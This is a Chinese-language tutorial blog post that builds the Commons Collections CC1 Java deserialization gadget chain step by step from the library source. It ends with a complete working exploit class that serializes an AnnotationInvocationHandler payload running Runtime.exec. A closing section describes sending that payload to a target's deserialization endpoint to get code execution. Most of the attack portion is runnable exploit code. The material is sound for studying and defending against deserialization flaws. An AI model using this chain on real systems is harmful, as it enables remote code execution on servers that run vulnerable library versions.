学习这篇文章需要有一定的Java面向对象基础,还有反射相关的知识,本篇文章将会以源码的形式手把手带你分析CC1利用链的所有流程,复现环境存放在百度网盘,在本文中的环境准备模块已经提供下载链接。
在这里,你将会在源码的角度深入理解CC1利用链与Java的序列化与反序列化,学习到EXP编写思路。
文章目录
CC1漏洞影响范围
JDk <= jdk8u65
commons-collections <= 3.2.1
环境准备
本教程环境:jdk1.7.0_75,commons-collections 版本为 3.2.1,maven(不做版本要求),开发工具IDEA(不做版本要求)
因为CC1链中需要用到 sun包下的
AnnotationInvocationHandler
类,然而官网下载的jdk7版本sun包下的源码为class文件,需要准备源码包,我已经提前下载好了源码包,并且放在了jdk1.7.0_75中,可以从这里下载然后按照下图所示配置直接使用:链接:https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm
打开Project Structure可以进入以下界面
源码分析
CC有个核心接口Transformer,他具有许多实现类,经过实现类的研究观察可以发现以下一些可以利用的类
InvokerTransformer
发现核心利用类:InvokerTransformer.java
,这个类实现了Serializable接口,可以序列化,并且里面的构造方法和transform()方法的组合直接能实现反射调用任意方法,本身就是一个危险的类。
InvokerTransformer.java
分析:因为在这个类中,构造方法可以初始化方法名,参数类型和参数,并且transform()方法可以传入任意类型的对象,所以就意味着可以通过反射调用任意对象的任意方法。因此可以借助这个类的构造器与transform()方法来触发任意代码执行:
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-13 12:23
**/
public class CC1Exp {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
String.class}, new String[]{
"calc"});
invokerTransformer.transform(r);
}
}
通过上面的代码,我们可以触发计算器,因为调用了transform()方法,但是程序中是不会自动调用的,所以我们需要往上面找,看看其他地方是否帮我们调用了transform()方法,然后利用Java的重写机制调用InvokerTransformer的transform()方法。
TransformedMap
查找过程:
1.选中transform()方法,右击选择Find Usages
可以看到:
如果看到的数目比较少,或者很杂乱,可以按照我的设置方法设置查找规则:
经过查找,发现了TransformedMap类中有个地方调用了transform()方法,并且这个类实现了Serializable接口,也是可以序列化的,并且继承了AbstractInputCheckedMapDecorator类。
TransformedMap中的checkSetValue()方法里面调用了transform()方法,并且可以传入任意类型的对象。也可以发现checkSetValue()方法被protected修饰,被protected权限修饰符所修饰的方法只能在同一个包访问,或者在满足继承关系的子类中访问。
在方法中使用了变量valueTransformer
,所以需要找到这个类的构造方法:
可以发现构造方法也是使用protected修饰的,所以这个构造方法可能在这个类里面调用了,因此我们可以再找找看,果然发现这个类中还有个静态方法decorate(),里面帮我们调用了构造方法,从而完成了valueTransformer的初始化,并且第2个参数和第3个参数的类型都是Transformer
看到这,我们可以发现,前面找到的核心利用类InvokerTransformer也是属于Transformer类型的,所以我们可以invokerTransformer当做参数传入这个方法中,得到TransformedMap对象之后调用里面的checkSetValue()方法即可完成利用
改造前面的Exp:
public class CC1Exp {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
String.class}, new String[]{
"calc"});
// invokerTransformer.transform(r);
Map map = new HashMap();
TransformedMap transformedMap =(TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
Class cl = TransformedMap.class;
Method checkSetValue = cl.getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap,r);
}
}
和前面分析的transform()方法一样,checkSetValue()方法也是不能被程序直接调用了,所以我们需要往上查找,看看谁能帮我们调用checkSetValue()方法,然后依旧利用Java的重写机制,帮我们自动调用TransformedMap的checkSetValue()方法。
AbstractInputCheckedMapDecorator
经过查找,可以发现AbstractInputCheckedMapDecorator
类的setValue()方法中调用了checkSetValue()方法,并且setValue()方法可以传入任意参数类型。
当然我们也不能让程序直接帮我们调用这个setValue()方法,所以我们依旧尝试往上面找,看看有没有其他的类帮我们调用setValue()方法,看到这里可能会想,何时是个头啊,每次都要往上面查找帮我们调用方法的类,好像大部分方法程序都不会自动帮我们调用,但是别忘记了Java反序列化的readObject()方法,在反序列化的时候,程序就会自动调用readObject()方法了,所以如果往上面查找方法的时候,发现了readObject()方法里面有我们要利用的方法,我们就达到目的了。
AnnotationInvocationHandler
经过再次查找,我们可以看到AnnotationInvocationHandler类中的readObject()方法里面帮我们调用了setValue()方法,不过这里要注意的是,如果没有使用我提供的jdk,将无法找到源码包,这一步通过Find Usages可能是找不到的,因为这个查找方式只能查找源码,也就是.java
文件。
我们接下来仔细看看这个readObject()方法:
经过分析可知,在readObject()方法中,会对memberValues进行迭代遍历,在循环里面,需要获取每个map的key值,并且通过key值来查找注解对应属性名的Class对象,如果找到了注解对应属性名的Class对象,就会获取每个map的value值,然后通过isInstance将注解属性的类对象与value值进行比较,判断他们之间是否有关系,如果没关系就会进入里面的if逻辑。
所以我们想要在反序列化的时候进入if逻辑,最终调用setValue(),我们就需要构造条件,我们先找到全局变量memberValues
是如何初始化的,看到AnnotationInvocationHandler的构造方法:
可以发现有两个参数,其中memberValues是Map类型,所以我们可以在里面传入我们之前构造的TransformedMap对象,因为这个对象最终是实现了Map的,本质类型就是Map(前面我们发现TransformedMap继承了AbstractInputCheckedMapDecorator,所以在memberValues调用setValue()的时候如果发现在本对象中没有setValue()方法,就会找到父类的setValue()方法,进而完成利用)
。然后type参数的类型是Class<? extends Annotation>
,因此我们在给AnnotationInvocationHandler对象初始化的时候需要传入一个注解的类对象。因此我们可以进行如下构造:
寻找具有属性的注解:使用
Retention
注解,我们可以看一下这个注解的内容:找到
Retention
注解之后,发现里面有个value属性,因此可以给map构造key值为value的键值对Map map = new HashMap(); map.put("value","value");
然后把构造好的map加入TransformedMap中
Map map = new HashMap(); map.put("value","value"); TransformedMap transformedMap =(TransformedMap)TransformedMap.decorate(map, null,chainedTransformer);
可以发现这个构造方法并不是public修饰的的,所以我们需要通过反射获取实例,然后对他进行初始化:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
经过对AnnotationInvocationHandler对象的构造,CC1利用链就已经完成了一大半,我们再回顾一下第一次调出计算器的代码:
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-13 12:23
**/
public class CC1Exp {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
String.class}, new String[]{
"calc"});
invokerTransformer.transform(r);
}
}
分析:我们可以看到,核心类利用类是InvokerTransformer,我们要想利用AnnotationInvocationHandler对象的反序列化来执行InvokerTransformer的transform()方法,就要确保我们的对象都是可以序列化的,然而不巧的是,Runtime这个类并没有实现Serializable接口,因此无法序列化,所以为了让他序列化,就需要利用Class对象,Class对象是实现了Serializable接口的,我们先使用普通的反射来实现我们最终的恶意代码(调出计算器):
public class CC1Exp {
public static void main(String[] args) throws Exception{
Class cl = Runtime.class;
Method getRuntime = cl.getMethod("getRuntime");
Runtime runtime = (Runtime)getRuntime.invoke(null);
Method exec = cl.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
}
}
然后利用InvokerTransformer
类进行改造:
public class CC1Exp {
public static void main(String[] args) throws Exception{
Method getRuntime1 = (Method)new InvokerTransformer("getMethod", new Class[]{
String.class,Class[].class}, new Object[]{
"getRuntime",null}).transform(Runtime.class);
Runtime runtime1 = (Runtime)new InvokerTransformer("invoke", new Class[]{
Object.class,Object[].class}, new Object[]{
null,null}).transform(getRuntime1);
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"}).transform(runtime1);
}
}
执行流程分析:
经过改造之后,可以成功调出计算器。接下来我们可以分析一下这个代码,这里一共有三步,首先是使用Runtime.class对象作为参数传入transform()方法,经过InvokerTransformer的反射调用获得getRuntime()的Method对象,然后将Method对象作为参数传入transform()方法,经过InvokerTransformer的反射调用获得Runtime对象,然后将Runtime对象作为参数传入transform()方法,经过InvokerTransformer的反射调用执行Runtime对象的exec()方法,从而调出计算器。
ChainedTransformer
经过上面的流程分析,我们可以知道这个恶意代码的执行其实就是链式调用,由于我们最终要把一个Transformer对象传给TransformedMap对象,但是上面的链式调用使用了多个InvokerTransformer,是无法一起传给TransformedMap的,TransformedMap构造方法需要的参数类型是Transformer类型的,这是个接口,所以我们可以看看这个接口下面有哪些子类是否可以利用:
根据查找之后,可以看到一个ChainedTransformer类,这个类名就类似于链式调用,于是点进去看看这个类:
所以可以利用这个ChainedTransformer类再次对上面的恶意程序进行改造:
public class CC1Exp {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{
String.class,Class[].class}, new Object[]{
"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{
Object.class,Object[].class}, new Object[]{
null,null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
这样我们就能将恶意程序整合成一个Transformer类型的chainedTransformer对象传入TransformedMap,然后把transformedMap对象交给AnnotationInvocationHandler的构造方法进行初始化,然后在AnnotationInvocationHandler对象反序列化的时候会调用readObject(),就可以完成CC1利用链。
但是在调用readObject()的时候还有一个问题,就是setValue里面的参数并不是我们想要的Transformer对象,而是一个AnnotationTypeMismatchExceptionProxy对象
这个AnnotationTypeMismatchExceptionProxy对象最后传给了checkSetValue()方法,然后调用transform()方法进行反射调用,由于ChainedTransformer第一次反射调用的是getMethod方法,然而AnnotationTypeMismatchExceptionProxy对象并没有这个getMethod()方法,所以会报错
ConstantTransformer
那么应该怎么办呢,巧妙的是Transformer接口还有一个巧妙的实现类:ConstantTransformer,接下来我们看看这个实现类的内容:
这个ConstantTransformer类中的transform方法很特别,就是不管我们传入的是什么参数,都返回一个初始化之后的iConstant,相当于一个常量。所以我们如果在chainedTransformer对象中在第一个位置添加ConstantTransformer对象,然后初始化为Runtime.class,就能巧妙的解决上面的问题,即使在setValue()的方法中传入AnnotationTypeMismatchExceptionProxy对象,也不会报错,而是在链式调用中返回一个Runtime.class,进而完成CC1利用链。
因此,我们可以优化一下代码,在原来的基础上再加上new ConstantTransformer(Runtime.class)
:
public class CC1Exp {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,Class[].class}, new Object[]{
"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{
Object.class,Object[].class}, new Object[]{
null,null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
EXP编写
通过上面的源码分析,我们可以将恶意程序的利用链与AnnotationInvocationHandler类的反射序列化整合,完善EXP
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-13 12:23
**/
public class CC1Exp {
public static void main(String[] args) throws Exception{
//构造恶意程序调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,Class[].class}, new Object[]{
"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{
Object.class,Object[].class}, new Object[]{
null,null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","yuan_boss");
TransformedMap transformedMap =(TransformedMap)TransformedMap.decorate(map, null, chainedTransformer);
//反射构造AnnotationInvocationHandler的实例并且序列化为payload
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
serialize(o);
//反序列化payload执行恶意程序
UnSerialize("ser.bin");
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static void UnSerialize(String filename) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));
Object o = oos.readObject();
System.out.println(o);
}
}
实战利用思路
找到需要反序列化的功能点,将我们序列化后的payload发送到功能点进行反序列化,然后就能形成CC1利用链,从而完成恶意代码执行。